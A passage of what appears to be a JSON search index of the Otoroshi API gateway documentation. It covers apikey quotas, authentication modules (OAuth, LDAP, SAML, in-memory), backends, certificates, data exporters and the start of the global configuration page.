every\n* `Grace period`: period when both secrets can be used\n* `Next client secret`: display the next generated client secret\n\n### Restrictions\n\n* `Enabled`: enable restrictions\n* `Allow last`: Otoroshi will test forbidden and notFound paths before testing allowed paths\n* `Allowed`: allowed paths\n* `Forbidden`: forbidden paths\n* `Not Found`: not found paths\n\n### Call examples\n\n* `Curl Command`: simple request with the api key passed by header\n* `Basic Auth. Header`: authorization Header with the api key as base64 encoded format\n* `Curl Command with Basic Auth. Header`: simple request with api key passed in the Authorization header as base64 format\n\n### Quotas\n\n* `Throttling quota`: the authorized number of calls per second\n* `Daily quota`: the authorized number of calls per day\n* `Monthly quota`: the authorized number of calls per month\n\n@@@ warning\n\nDaily and monthly quotas are based on the following rules :\n\n* daily quota is computed between 00h00:00.000 and 23h59:59.999 of the current day\n* monthly qutoas is computed between the first day of the month at 00h00:00.000 and the last day of the month at 23h59:59.999\n@@@\n\n### Quotas consumption\n\n* `Consumed daily calls`: the number of calls consumed today\n* `Remaining daily calls`: the remaining number of calls for today\n* `Consumed monthly calls`: the number of calls consumed this month\n* `Remaining monthly calls`: the remaining number of calls for this month\n\n"},{"name":"auth-modules.md","id":"/entities/auth-modules.md","url":"/entities/auth-modules.html","title":"Authentication modules","content":"# Authentication modules\n\nThe authentication modules manage the access to Otoroshi UI and can protect a route.\n\nA `private Otoroshi app` is an Otoroshi route with the Authentication plugin enabled.\n\nThe list of supported authentication are :\n\n* `OAuth 2.0/2.1` : an authorization standard that allows a user to grant limited access to their resources on one site to another site, without having to expose their credentials\n* `OAuth 1.0a` : the original standard for access delegation\n* `In memory` : create users directly in Otoroshi with rights and metadata\n* `LDAP : Lightweight Directory Access Protocol` : connect users using a set of LDAP servers\n* `SAML V2 - Security Assertion Markup Language` : an open-standard, XML-based data format that allows businesses to communicate user authentication and authorization information to partner companies and enterprise applications their employees may use.\n\nAll authentication modules have a unique `id`, a `name` and a `description`.\n\nEach module has also the following fields : \n\n* `Tags`: list of tags associated to the module\n* `Metadata`: list of metadata associated to the module\n* `HttpOnly`: if enabled, the cookie cannot be accessed through client side script, prevent cross-site scripting (XSS) by not revealing the cookie to a third party\n* `Secure`: if enabled, avoid to include cookie in an HTTP Request without secure channel, typically HTTPs.\n* `Session max. age`: duration until the session expired\n* `User validators`: a list of validator that will check if, a user that successfully logged in has the right to actually, pass otoroshi based on the content of it's profile. A validator is composed of a [JSONPath](https://goessner.net/articles/JsonPath/) that will tell what to check and a value that is the expected value. The JSONPath will be applied on a document that will look like\n\n```javascript\n{\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": [\n \"default\"\n ]\n },\n \"randomId\": \"xxxxx\",\n \"name\": \"john.doe@otoroshi.io\",\n \"email\": \"john.doe@otoroshi.io\",\n \"authConfigId\": \"xxxxxxxx\",\n \"profile\": { // the profile shape depends heavily on the identity provider\n \"sub\": \"xxxxxx\",\n \"nickname\": \"john.doe\",\n \"name\": \"john.doe@otoroshi.io\",\n \"picture\": \"https://foo.bar/avatar.png\",\n \"updated_at\": \"2022-04-20T12:57:39.723Z\",\n \"email\": \"john.doe@otoroshi.io\",\n \"email_verified\": true,\n \"rights\": [\"one\", \"two\"]\n },\n \"token\": { // the token shape depends heavily on the identity provider\n \"access_token\": \"xxxxxx\",\n \"refresh_token\": \"yyyyyy\",\n \"id_token\": \"zzzzzz\",\n \"scope\": \"openid profile email address phone offline_access\",\n \"expires_in\": 86400,\n \"token_type\": \"Bearer\"\n },\n \"realm\": \"global-oauth-xxxxxxx\",\n \"otoroshiData\": {\n ...\n },\n \"createdAt\": 1650459462650,\n \"expiredAt\": 1650545862652,\n \"lastRefresh\": 1650459462650,\n \"metadata\": {},\n \"tags\": []\n}\n```\n\nthe expected value support some syntax tricks like \n\n* `Not(value)` on a string to check if the current value does not equals another value\n* `Regex(regex)` on a string to check if the current value matches the regex\n* `RegexNot(regex)` on a string to check if the current value does not matches the regex\n* `Wildcard(*value*)` on a string to check if the current value matches the value with wildcards\n* `WildcardNot(*value*)` on a string to check if the current value does not matches the value with wildcards\n* `Contains(value)` on a string to check if the current value contains a value\n* `ContainsNot(value)` on a string to check if the current value does not contains a value\n* `Contains(Regex(regex))` on an array to check if one of the item of the array matches the regex\n* `ContainsNot(Regex(regex))` on an array to check if one of the item of the array does not matches the regex\n* `Contains(Wildcard(*value*))` on an array to check if one of the item of the array matches the wildcard value\n* `ContainsNot(Wildcard(*value*))` on an array to check if one of the item of the array does not matches the wildcard value\n* `Contains(value)` on an array to check if the array contains a value\n* `ContainsNot(value)` on an array to check if the array does not contains a value\n\nfor instance to check if the current user has the right `two`, you can write the following validator\n\n```js\n{\n \"path\": \"$.profile.rights\",\n \"value\": \"Contains(two)\"\n}\n```\n\n## OAuth 2.0 / OIDC provider\n\nIf you want to secure an app or your Otoroshi UI with this provider, you can check these tutorials : @ref[Secure an app with keycloak](../how-to-s/secure-app-with-keycloak.md) or @ref[Secure an app with auth0](../how-to-s/secure-app-with-auth0.md)\n\n* `Use cookie`: If your OAuth2 provider does not support query param in redirect uri, you can use cookies instead\n* `Use json payloads`: the access token, sended to retrieve the user info, will be pass in body as JSON. If disabled, it will sended as Map.\n* `Enabled PKCE flow`: This way, a malicious attacker can only intercept the Authorization Code, and they cannot exchange it for a token without the Code Verifier.\n* `Disable wildcard on redirect URIs`: As of OAuth 2.1, query parameters on redirect URIs are no longer allowed\n* `Refresh tokens`: Automatically refresh access token using the refresh token if available\n* `Read profile from token`: if enabled, the user profile will be read from the access token, otherwise the user profile will be retrieved from the user information url\n* `Super admins only`: All logged in users will have super admins rights\n* `Client ID`: a public identifier of your app\n* `Client Secret`: a secret known only to the application and the authorization server\n* `Authorize URL`: used to interact with the resource owner and get the authorization to access the protected resource\n* `Token URL`: used by the application in order to get an access token or a refresh token\n* `Introspection URL`: used to validate access tokens\n* `Userinfo URL`: used to retrieve the profile of the user\n* `Login URL`: used to redirect user to the login provider page\n* `Logout URL`: redirect uri used by the identity provider to redirect user after logging out\n* `Callback URL`: redirect uri sended to the identity provider to redirect user after successfully connecting\n* `Access token field name`: field used to search access token in the response body of the token URL call\n* `Scope`: presented scopes to the user in the consent screen. Scopes are space-separated lists of identifiers used to specify what access privileges are being requested\n* `Claims`: asked name/values pairs that contains information about a user.\n* `Name field name`: Retrieve name from token field\n* `Email field name`: Retrieve email from token field\n* `Otoroshi metadata field name`: Retrieve metadata from token field\n* `Otoroshi rights field name`: Retrieve user rights from user profile\n* `Extra metadata`: merged with the user metadata\n* `Data override`: merged with extra metadata when a user connects to a `private app`\n* `Rights override`: useful when you want erase the rights of an user with only specific rights. This field is the last to be applied on the user rights.\n* `Api key metadata field name`: used to extract api key metadata from the OIDC access token \n* `Api key tags field name`: used to extract api key tags from the OIDC access token \n* `Proxy host`: host of proxy behind the identify provider\n* `Proxy port`: port of proxy behind the identify provider\n* `Proxy principal`: user of proxy \n* `Proxy password`: password of proxy\n* `OIDC config url`: URI of the openid-configuration used to discovery documents. By convention, this URI ends with `.well-known/openid-configuration`\n* `Token verification`: What kind of algorithm you want to use to verify/sign your JWT token with\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `Hmac secret`: The Hmac secret\n* `Base64 encoded secret`: Is the secret encoded with base64\n* `Custom TLS Settings`: TLS settings for JWKS fetching\n* `TLS loose`: if enabled, will block all untrustful ssl configs\n* `Trust all`: allows any server certificates even the self-signed ones\n* `Client certificates`: list of client certificates used to communicate with JWKS server\n* `Trusted certificates`: list of trusted certificates received from JWKS server\n\n## OAuth 1.0a provider\n\nIf you want to secure an app or your Otoroshi UI with this provider, you can check this tutorial : @ref[Secure an app with OAuth 1.0a](../how-to-s/secure-with-oauth1-client.md)\n\n* `Http Method`: method used to get request token and the access token \n* `Consumer key`: the identifier portion of the client credentials (equivalent to a username)\n* `Consumer secret`: the identifier portion of the client credentials (equivalent to a password)\n* `Request Token URL`: url to retrieve the request token\n* `Authorize URL`: used to redirect user to the login page\n* `Access token URL`: used to retrieve the access token from the server\n* `Profile URL`: used to get the user profile\n* `Callback URL`: used to redirect user when successfully connecting\n* `Rights override`: override the rights of the connected user. With JSON format, each authenticated user, using email, can be associated to a list of rights on tenants and Otoroshi teams.\n\n## LDAP Authentication provider\n\nIf you want to secure an app or your Otoroshi UI with this provider, you can check this tutorial : @ref[Secure an app with LDAP](../how-to-s/secure-app-with-ldap.md)\n\n* `Basic auth.`: if enabled, user and password will be extract from the `Authorization` header as a Basic authentication. It will skipped the login Otoroshi page \n* `Allow empty password`: LDAP servers configured by default with the possibility to connect without password can be secured by this module to ensure that user provides a password\n* `Super admins only`: All logged in users will have super admins rights\n* `Extract profile`: extract LDAP profile in the Otoroshi user\n* `LDAP Server URL`: list of LDAP servers to join. Otoroshi use this list in sequence and swap to the next server, each time a server breaks in timeout\n* `Search Base`: used to global filter\n* `Users search base`: concat with search base to search users in LDAP\n* `Mapping group filter`: map LDAP groups with Otoroshi rights\n* `Search Filter`: used to filter users. *\\${username}* is replace by the email of the user and compare to the given field\n* `Admin username (bind DN)`: holds the name of the environment property for specifying the identity of the principal for authenticating the caller to the service\n* `Admin password`: holds the name of the environment property for specifying the credentials of the principal for authenticating the caller to the service\n* `Extract profile filters attributes in`: keep only attributes which are matching the regex\n* `Extract profile filters attributes not in`: keep only attributes which are not matching the regex\n* `Name field name`: Retrieve name from LDAP field\n* `Email field name`: Retrieve email from LDAP field\n* `Otoroshi metadata field name`: Retrieve metadata from LDAP field\n* `Extra metadata`: merged with the user metadata\n* `Data override`: merged with extra metadata when a user connects to a `private app`\n* `Additional rights group`: list of virtual groups. A virtual group is composed of a list of users and a list of rights for each teams/organizations.\n* `Rights override`: useful when you want erase the rights of an user with only specific rights. This field is the last to be applied on the user rights.\n\n## In memory provider\n\n* `Basic auth.`: if enabled, user and password will be extract from the `Authorization` header as a Basic authentication. It will skipped the login Otoroshi page \n* `Login with WebAuthn` : enabled logging by WebAuthn\n* `Users`: list of users with *name*, *email* and *metadata*. The default password is *password*. The edit button is useful when you want to change the password of the user. The reset button reinitialize the password. \n* `Users raw`: show the registered users with their profile and their rights. You can edit directly each field, especially the rights of the user.\n\n## SAML v2 provider\n\n* `Single sign on URL`: the Identity Provider Single Sign-On URL\n* `The protocol binding for the login request`: the protocol binding for the login request\n* `Single Logout URL`: a SAML flow that allows the end-user to logout from a single session and be automatically logged out of all related sessions that were established during SSO\n* `The protocol binding for the logout request`: the protocol binding for the logout request\n* `Sign documents`: Should SAML Request be signed by Otoroshi ?\n* `Validate Assertions Signature`: Enable/disable signature validation of SAML assertions\n* `Validate assertions with Otoroshi certificate`: validate assertions with Otoroshi certificate. If disabled, the `Encryption Certificate` and `Encryption Private Key` fields can be used to pass a certificate and a private key to validate assertions.\n* `Encryption Certificate`: certificate used to verify assertions\n* `Encryption Private Key`: privaye key used to verify assertions\n* `Signing Certificate`: certicate used to sign documents\n* `Signing Private Key`: private key to sign documents\n* `Signature al`: the signature algorithm to use to sign documents\n* `Canonicalization Method`: canonicalization method for XML signatures \n* `Encryption KeyPair`: the keypair used to sign/verify assertions\n* `Name ID Format`: SP and IdP usually communicate each other about a subject. That subject should be identified through a NAME-IDentifier, which should be in some format so that It is easy for the other party to identify it based on the Format\n* `Use NameID format as email`: use NameID format as email. If disabled, the email will be search from the attributes\n* `URL issuer`: provide the URL to the IdP's who will issue the security token\n* `Validate Signature`: enable/disable signature validation of SAML responses\n* `Validate Assertions Signature`: should SAML Assertions to be decrypted ?\n* `Validating Certificates`: the certificate in PEM format that must be used to check for signatures.\n\n## Special routes\n\nwhen using private apps with auth. modules, you can access special routes that can help you \n\n```sh \nGET 'http://xxxxxxxx.xxxx.xx/.well-known/otoroshi/logout' # trigger logout for the current auth. module\nGET 'http://xxxxxxxx.xxxx.xx/.well-known/otoroshi/me' # get the current logged user profile (do not forget to pass cookies)\n```\n\n## Related pages\n* @ref[Secure an app with auth0](../how-to-s/secure-app-with-auth0.md)\n* @ref[Secure an app with keycloak](../how-to-s/secure-app-with-keycloak.md)\n* @ref[Secure an app with LDAP](../how-to-s/secure-app-with-ldap.md)\n* @ref[Secure an app with OAuth 1.0a](../how-to-s/secure-with-oauth1-client.md)"},{"name":"backends.md","id":"/entities/backends.md","url":"/entities/backends.html","title":"Backends","content":"# Backends\n\nA backend represent a list of server to target in a route and its client settings, load balancing, etc.\n\nThe backends can be define directly on the route designer or on their dedicated page in order to be reusable.\n\n## UI page\n\nYou can find all backends [here](http://otoroshi.oto.tools:8080/bo/dashboard/backends)\n\n## Global Properties\n\n* `Targets root path`: the path to add to each request sent to the downstream service \n* `Full path rewrite`: When enabled, the path of the uri will be totally stripped and replaced by the value of `Targets root path`. If this value contains expression language expressions, they will be interpolated before forwading the request to the backend. When combined with things like named path parameters, it is possible to perform a ful url rewrite on the target path like\n\n* input: `subdomain.domain.tld/api/users/$id<[0-9]+>/bills`\n* output: `target.domain.tld/apis/v1/basic_users/${req.pathparams.id}/all_bills`\n\n## Targets\n\nThe list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures.\n\n* `id`: unique id of the target\n* `Hostname`: the hostname of the target without scheme\n* `Port`: the port of the target\n* `TLS`: call the target via https\n* `Weight`: the weight of the target. This valus is used by the load balancing strategy to dispatch the traffic between all targets\n* `Predicate`: a function to filter targets from the target list based on a predefined predicate\n* `Protocol`: protocol used to call the target, can be only equals to `HTTP/1.0`, `HTTP/1.1`, `HTTP/2.0` or `HTTP/3.0`\n* `IP address`: the ip address of the target\n* `TLS Settings`:\n * `Enabled`: enable this section\n * `TLS loose`: if enabled, will block all untrustful ssl configs\n * `TrustAll`: allows any server certificates even the self-signed ones\n * `Client certificates`: list of client certificates used to communicate with the downstream service\n * `Trusted certificates`: list of trusted certificates received from the downstream service\n\n\n## Heatlh check\n\n* `Enabled`: if enabled, the health check URL will be called at regular intervals\n* `URL`: the URL to call to run the health check\n\n## Load balancing\n\n* `Type`: the load balancing algorithm used\n\n## Client settings\n\n* `backoff factor`: specify the factor to multiply the delay for each retry (default value 2)\n* `retries`: specify how many times the client will retry to fetch the result of the request after an error before giving up. (default value 1)\n* `max errors`: specify how many errors can pass before opening the circuit breaker (default value 20)\n* `global timeout`: specify how long the global call (with retries) should last at most in milliseconds. (default value 30000)\n* `connection timeout`: specify how long each connection should last at most in milliseconds. (default value 10000)\n* `idle timeout`: specify how long each connection can stay in idle state at most in milliseconds (default value 60000)\n* `call timeout`: Specify how long each call should last at most in milliseconds. (default value 30000)\n* `call and stream timeout`: specify how long each call should last at most in milliseconds for handling the request and streaming the response. (default value 120000)\n* `initial delay`: delay after which first retry will happens if needed (default value 50)\n* `sample interval`: specify the delay between two retries. Each retry, the delay is multiplied by the backoff factor (default value 2000)\n* `cache connection`: try to keep tcp connection alive between requests (default value false)\n* `cache connection queue size`: queue size for an open tcp connection (default value 2048)\n* `custom timeouts` (list): \n * `Path`: the path on which the timeout will be active\n * `Client connection timeout`: specify how long each connection should last at most in milliseconds.\n * `Client idle timeout`: specify how long each connection can stay in idle state at most in milliseconds.\n * `Client call and stream timeout`: specify how long each call should last at most in milliseconds for handling the request and streaming the response.\n * `Call timeout`: Specify how long each call should last at most in milliseconds.\n * `Client global timeout`: specify how long the global call (with retries) should last at most in milliseconds.\n\n## Proxy\n\n* `host`: host of proxy behind the identify provider\n* `port`: port of proxy behind the identify provider\n* `protocol`: protocol of proxy behind the identify provider\n* `principal`: user of proxy \n* `password`: password of proxy\n"},{"name":"certificates.md","id":"/entities/certificates.md","url":"/entities/certificates.html","title":"Certificates","content":"# Certificates\n\nAll generated and imported certificates are listed in the `https://otoroshi.xxxx/bo/dashboard/certificates` page. All those certificates can be used to serve traffic with TLS, perform mTLS calls, sign and verify JWT tokens.\n\nThe list of available actions are:\n\n* `Add item`: redirects the user on the certificate creation page. It's useful when you already had a certificate (like a pem file) and that you want to load it in Otoroshi.\n* `Let's Encrypt certificate`: asks a certificate matching a given host to Let's encrypt \n* `Create certificate`: issues a certificate with an existing Otoroshi certificate as CA.\n* `Import .p12 file`: loads a p12 file as certificate\n\n## Add item\n\n* `Id`: the generated unique id of the certificate\n* `Name`: the name of the certificate\n* `Description`: the description of the certificate\n* `Auto renew cert.`: certificate will be issued when it will be expired. Only works with a CA from Otoroshi and a known private key\n* `Client cert.`: the certificate generated will be used to identicate a client to a server\n* `Keypair`: the certificate entity will be a pair of public key and private key.\n* `Public key exposed`: if true, the public key will be exposed on `http://otoroshi-api.your-domain/.well-known/jwks.json`\n* `Certificate status`: the current status of the certificate. It can be valid if the certificate is not revoked and not expired, or equal to the reason of the revocation\n* `Certificate full chain`: list of certificates used to authenticate a client or a server\n* `Certificate private key`: the private key of the certificate or nothing if wanted. You can omit it if you want just add a certificte full chain to trust them.\n* `Private key password`: the password to protect the private key\n* `Certificate tags`: the tags attached to the certificate\n* `Certaificate metadata`: the metadata attached to the certificate\n\n## Let's Encrypt certificate\n\n* `Let's encrypt`: if enabled, the certificate will be generated by Let's Encrypt. If disabled, the user will be redirect to the `Create certificate` page\n* `Host`: the host send to Let's encrypt to issue the certificate\n\n## Create certificate view\n\n* `Issuer`: the CA used to sign your certificate\n* `CA certificate`: if enabled, the certificate will be used as an authority certificate. Once generated, it will be use as CA to sign the new certificates\n* `Let's Encrypt`: redirects to the Let's Encrypt page to request a certificate\n* `Client certificate`: the certificate generated will be used to identicate a client to a server\n* `Include A.I.A`: include authority information access urls in the certificate\n* `Key Type`: the type of the private key\n* `Key Size`: the size of the private key\n* `Signature Algorithm`: the signature algorithm used to sign the certificate\n* `Digest Algorithm`: the digest algorithm used\n* `Validity`: how much time your certificate will be valid\n* `Subject DN`: the subject DN of your certificate\n* `Hosts`: the hosts of your certificate\n\n"},{"name":"data-exporters.md","id":"/entities/data-exporters.md","url":"/entities/data-exporters.html","title":"Data exporters","content":"# Data exporters\n\nThe data exporters are the way to export alerts and events from Otoroshi to an external storage.\n\nTo try them, you can folllow @ref[this tutorial](../how-to-s/export-alerts-using-mailgun.md).\n\n## Common fields\n\n* `Type`: the type of event exporter\n* `Enabled`: enabled or not the exporter\n* `Name`: given name to the exporter\n* `Description`: the data exporter description\n* `Tags`: list of tags associated to the module\n* `Metadata`: list of metadata associated to the module\n\nAll exporters are split in three parts. The first and second parts are common and the last are specific by exporter.\n\n* `Filtering and projection` : section to filter the list of sent events and alerts. The projection field allows you to export only certain event fields and reduce the size of exported data. It's composed of `Filtering` and `Projection` fields. To get a full usage of this elements, read @ref:[this section](#matching-and-projections)\n* `Queue details`: set of fields to adjust the workers of the exporter. \n * `Buffer size`: if elements are pushed onto the queue faster than the source is consumed the overflow will be handled with a strategy specified by the user. Keep in memory the number of events.\n * `JSON conversion workers`: number of workers used to transform events to JSON format in paralell\n * `Send workers`: number of workers used to send transformed events\n * `Group size`: chunk up this stream into groups of elements received within a time window (the time window is the next field)\n * `Group duration`: waiting time before sending the group of events. If the group size is reached before the group duration, the events will be instantly sent\n \nFor the last part, the `Exporter configuration` will be detail individually.\n\n## Matching and projections\n\n**Filtering** is used to **include** or **exclude** some kind of events and alerts. For each include and exclude field, you can add a list of key-value. \n\nLet's say we only want to keep Otoroshi alerts\n```json\n{ \"include\": [{ \"@type\": \"AlertEvent\" }] }\n```\n\nOtoroshi provides a list of rules to keep only events with specific values. We will use the following event to illustrate.\n\n```json\n{\n \"foo\": \"bar\",\n \"type\": \"AlertEvent\",\n \"alert\": \"big-alert\",\n \"status\": 200,\n \"codes\": [\"a\", \"b\"],\n \"inner\": {\n \"foo\": \"bar\",\n \"bar\": \"foo\"\n }\n}\n```\n\nThe rules apply with the previous example as event.\n\n@@@div { #filtering }\n \n@@@\n\n\n\n**Projection** is a list of fields to export. In the case of an empty list, all the fields of an event will be exported. In other case, **only** the listed fields will be exported.\n\nLet's say we only want to keep Otoroshi alerts and only type, timestamp and id of each exported events\n```json\n{\n \"@type\": true,\n \"@timestamp\": true,\n \"@id\": true\n}\n```\n\nAn other possibility is to **rename** the exported field. This value will be the same but the exported field will have a different name.\n\nLet's say we want to rename all `@id` field with `unique-id` as key\n\n```json\n{ \"@id\": \"unique-id\" }\n```\n\nThe last possiblity is to retrieve a sub-object of an event. Let's say we want to get the name of each exported user of events.\n\n```json\n{ \"user\": { \"name\": true } }\n```\n\nYou can also expand the entire source object with \n\n```json\n{\n \"$spread\": true\n}\n```\n\nand the remove fields you don't want with \n\n```json\n{\n \"fieldthatidontwant\": false\n}\n```\n\nProjections allows object modification using jspath, for instance, this example will create a new `otoroshiHeaderKeys` field to exported events. This field will contains a string array containing every request header name.\n\n```json\n{\n \"otoroshiHeaderKeys\": {\n \"$path\": \"$.otoroshiHeadersIn.*.key\"\n }\n}\n```\n\nAlternativerly, projections also allow to use JQ to transform exported events\n\n```json\n{\n \"headerKeys\": {\n \"$jq\": \"[.headers[].key]\"\n }\n}\n```\n\nJQ filter also allows conditionnal filtering : transformation is applied only if given predicate is match. In the following example, `headerKeys` field will be valued only if `target.scheme` is `https`.\n\n```json\n{\n \"headerKeys\": {\n \"$jqIf\": {\n \"filter\": \"[.headers[].key]\",\n \"predicate\": {\n \"path\": \"target.scheme\",\n \"value\": \"https\"\n }\n }\n }\n}\n```\n\nSee [JQ manual](https://jqlang.github.io/jq/manual/) for complete syntax reference.\n\n## Elastic\n\nWith this kind of exporter, every matching event will be sent to an elastic cluster (in batch). It is quite useful and can be used in combination with [elastic read in global config](./global-config.html#analytics-elastic-dashboard-datasource-read-)\n\n* `Cluster URI`: Elastic cluster URI\n* `Index`: Elastic index \n* `Type`: Event type (not needed for elasticsearch above 6.x)\n* `User`: Elastic User (optional)\n* `Password`: Elastic password (optional)\n* `Version`: Elastic version (optional, if none provided it will be fetched from cluster)\n* `Apply template`: Automatically apply index template\n* `Check Connection`: Button to test the configuration. It will displayed a modal with checked point, and if the case of it's successfull, it will displayed the found version of the Elasticsearch and the index used\n* `Manually apply index template`: try to put the elasticsearch template by calling the api of elasticsearch\n* `Show index template`: try to retrieve the current index template presents in elasticsearch\n* `Client side temporal indexes handling`: When enabled, Otoroshi will manage the creation of indexes. When it's disabled, Otoroshi will push in the same index\n* `One index per`: When the previous field is enabled, you can choose the interval of time between the creation of a new index in elasticsearch \n* `Custom TLS Settings`: Enable the TLS configuration for the communication with Elasticsearch\n * `TLS loose`: if enabled, will block all untrustful ssl configs\n * `TrustAll`: allows any server certificates even the self-signed ones\n * `Client certificates`: list of client certificates used to communicate with elasticsearch\n * `Trusted certificates`: list of trusted certificates received from elasticsearch\n\n## Webhook \n\nWith this kind of exporter, every matching event will be sent to a URL (in batch) using a POST method and an JSON array body.\n\n* `Alerts hook URL`: url used to post events\n* `Hook Headers`: headers add to the post request\n* `Custom TLS Settings`: Enable the TLS configuration for the communication with Elasticsearch\n * `TLS loose`: if enabled, will block all untrustful ssl configs\n * `TrustAll`: allows any server certificates even the self-signed ones\n * `Client certificates`: list of client certificates used to communicate with elasticsearch\n * `Trusted certificates`: list of trusted certificates received from elasticsearch\n\n\n## Pulsar \n\nWith this kind of exporter, every matching event will be sent to an [Apache Pulsar topic](https://pulsar.apache.org/)\n\n\n* `Pulsar URI`: URI of the pulsar server\n* `Custom TLS Settings`: Enable the TLS configuration for the communication with Elasticsearch\n * `TLS loose`: if enabled, will block all untrustful ssl configs\n * `TrustAll`: allows any server certificates even the self-signed ones\n * `Client certificates`: list of client certificates used to communicate with elasticsearch\n * `Trusted certificates`: list of trusted certificates received from elasticsearch\n* `Pulsar tenant`: tenant on the pulsar server\n* `Pulsar namespace`: namespace on the pulsar server\n* `Pulsar topic`: topic on the pulsar server\n\n## Kafka \n\nWith this kind of exporter, every matching event will be sent to an [Apache Kafka topic](https://kafka.apache.org/). You can find few @ref[tutorials](../how-to-s/communicate-with-kafka.md) about the connection between Otoroshi and Kafka based on docker images.\n\n* `Kafka Servers`: the list of servers to contact to connect the Kafka client with the Kafka cluster\n* `Kafka topic`: the topic on which Otoroshi alerts will be sent\n\nBy default, Kafka is installed with no authentication. Otoroshi supports the following authentication mechanisms and protocols for Kafka brokers.\n\n### SASL\n\nThe Simple Authentication and Security Layer (SASL) [RFC4422] is a\nmethod for adding authentication support to connection-based\nprotocols.\n\n* `SASL username`: the client username \n* `SASL password`: the client username \n* `SASL Mechanism`: \n * `PLAIN`: SASL/PLAIN uses a simple username and password for authentication.\n * `SCRAM-SHA-256` and `SCRAM-SHA-512`: SASL/SCRAM uses usernames and passwords stored in ZooKeeper. Credentials are created during installation.\n\n### SSL \n\n* `Kafka keypass`: the keystore password if you use a keystore/truststore to connect to Kafka cluster\n* `Kafka keystore path`: the keystore path on the server if you use a keystore/truststore to connect to Kafka cluster\n* `Kafka truststore path`: the truststore path on the server if you use a keystore/truststore to connect to Kafka cluster\n* `Custom TLS Settings`: enable the TLS configuration for the communication with Elasticsearch\n * `TLS loose`: if enabled, will block all untrustful ssl configs\n * `TrustAll`: allows any server certificates even the self-signed ones\n * `Client certificates`: list of client certificates used to communicate with elasticsearch\n * `Trusted certificates`: list of trusted certificates received from elasticsearch\n\n### SASL + SSL\n\nThis mechanism uses the SSL configuration and the SASL configuration.\n\n## Mailer \n\nWith this kind of exporter, every matching event will be sent in batch as an email (using one of the following email provider)\n\nOtoroshi supports 5 exporters of email type.\n\n### Console\n\nNothing to add. The events will be write on the standard output.\n\n### Generic\n\n* `Mailer url`: URL used to push events\n* `Headers`: headers add to the push requests\n* `Email addresses`: recipients of the emails\n\n### Mailgun\n\n* `EU`: is EU server ? if enabled, *https://api.eu.mailgun.net/* will be used, otherwise, the US URL will be used : *https://api.mailgun.net/*\n* `Mailgun api key`: API key of the mailgun account\n* `Mailgun domain`: domain name of the mailgun account\n* `Email addresses`: recipients of the emails\n\n### Mailjet\n\n* `Public api key`: public key of the mailjet account\n* `Private api key`: private key of the mailjet account\n* `Email addresses`: recipients of the emails\n\n### Sendgrid\n\n* `Sendgrid api key`: api key of the sendgrid account\n* `Email addresses`: recipients of the emails\n\n## File \n\n* `File path`: path where the logs will be write \n* `Max file size`: when size is reached, Otoroshi will create a new file postfixed by the current timestamp\n\n## GoReplay file\n\nWith this kind of exporter, every matching event will be sent to a `.gor` file compatible with [GoReplay](https://goreplay.org/). \n\n@@@ warning\nthis exporter will only be able to catch `TrafficCaptureEvent`. Those events are created when a route (or the global config) of the @ref:[new proxy engine](../topics/engine.md) is setup to capture traffic using the `capture` flag.\n@@@\n\n* `File path`: path where the logs will be write \n* `Max file size`: when size is reached, Otoroshi will create a new file postfixed by the current timestamp\n* `Capture requests`: capture http requests in the `.gor` file\n* `Capture responses`: capture http responses in the `.gor` file\n\n## Console \n\nNothing to add. The events will be write on the standard output.\n\n## Custom \n\nThis type of exporter let you the possibility to write your own exporter with your own rules. To create an exporter, we need to navigate to the plugins page, and to create a new item of type exporter.\n\nWhen it's done, the exporter will be visible in this list.\n\n* `Exporter config.`: the configuration of the custom exporter.\n\n## Metrics \n\nThis plugin is useful to rewrite the metric labels exposed on the `/metrics` endpoint.\n\n* `Labels`: list of metric labels. Each pair contains an existing field name and the new name."},{"name":"global-config.md","id":"/entities/global-config.md","url":"/entities/global-config.html","title":"Global config","content":"# Global config\n\nThe global config, named `Danger zone` in Otoroshi, is the place to configure Otoroshi globally. \n\n> Warning: In this page, the configuration is really sensitive and affects the global behaviour of Otoroshi.\n\n\n### Misc. Settings\n\n\n* `Maintenance mode` : It passes every single service in maintenance mode. If a user calls a service, the maintenance page will be displayed\n* `No OAuth login for BackOffice` : Forces admins to login only with user/password or user/password/u2F device\n* `API Read Only`: Freeze Otoroshi datastore in read only mode. Only people with access to the actual underlying datastore will be able to disable this.\n* `Auto link default` : When no group is specified on a service, it will be assigned to default one\n* `Use circuit breakers` : Use circuit breaker on all services\n* `Use new http client as the default Http client` : All http calls will use the new http client by default\n* `Enable live metrics` : Enable live metrics in the Otoroshi cluster. Performs a lot of writes in the datastore\n* `Digitus medius` : Use middle finger emoji as a response character for endless HTTP responses (see [IP address filtering settings](#ip-address-filtering-settings)).\n* `Limit conc. req.` : Limit the number of concurrent request processed by Otoroshi to a certain amount. Highly recommended for resilience\n* `Use X-Forwarded-* headers for routing` : When evaluating routing of a request, X-Forwarded-* headers will be used if presents\n* `Max conc. req.` : Maximum number of concurrent requests processed by otoroshi.\n* `Max HTTP/1.0 resp. size` : Maximum size of an HTTP/1.0 response in bytes. After this limit, response will be cut and sent as is. The best value here should satisfy (maxConcurrentRequests * maxHttp10ResponseSize) < process.memory for worst case scenario.\n* `Max local events` : Maximum number of events stored.\n* `Lines` : *deprecated* \n\n### IP address filtering settings\n\n* `IP allowed list`: Only IP addresses that will be able to access Otoroshi exposed services\n* `IP blocklist`: IP addresses that will be refused to access Otoroshi exposed services\n* `Endless HTTP Responses`: IP addresses for which each request will return around 128 Gb of 0s\n\n\n### Quotas settings\n\n* `Global throttling`: The max. number of requests allowed per second globally on Otoroshi\n* `Throttling per IP`: The max. number of requests allowed per second per IP address globally on Otoroshi\n\n### Analytics: Elastic dashboard datasource (read)\n\n* `Cluster URI`: Elastic cluster URI\n* `Index`: Elastic index \n* `Type`: Event type (not needed for elasticsearch above 6.x)\n* `User`: Elastic User (optional)\n* `Password`: Elastic password (optional)\n* `Version`: Elastic version (optional, if none provided it will be fetched from cluster)\n* `Apply template`: Automatically apply index template\n* `Check Connection`: Button to test the configuration. It will displayed a modal with a connection checklist, if connection is successfull, it will display the found version of the Elasticsearch and the index used\n* `Manually apply index template`: try to put the elasticsearch template by calling the api of elasticsearch\n* `Show index template`: try to retrieve the current index template present in elasticsearch\n* `Client side temporal indexes handling`: When enabled, Otoroshi will manage the creation of indexes over time. When it's disabled, Otoroshi will push in the same index\n* `One index per`: When the previous field is enabled, you can 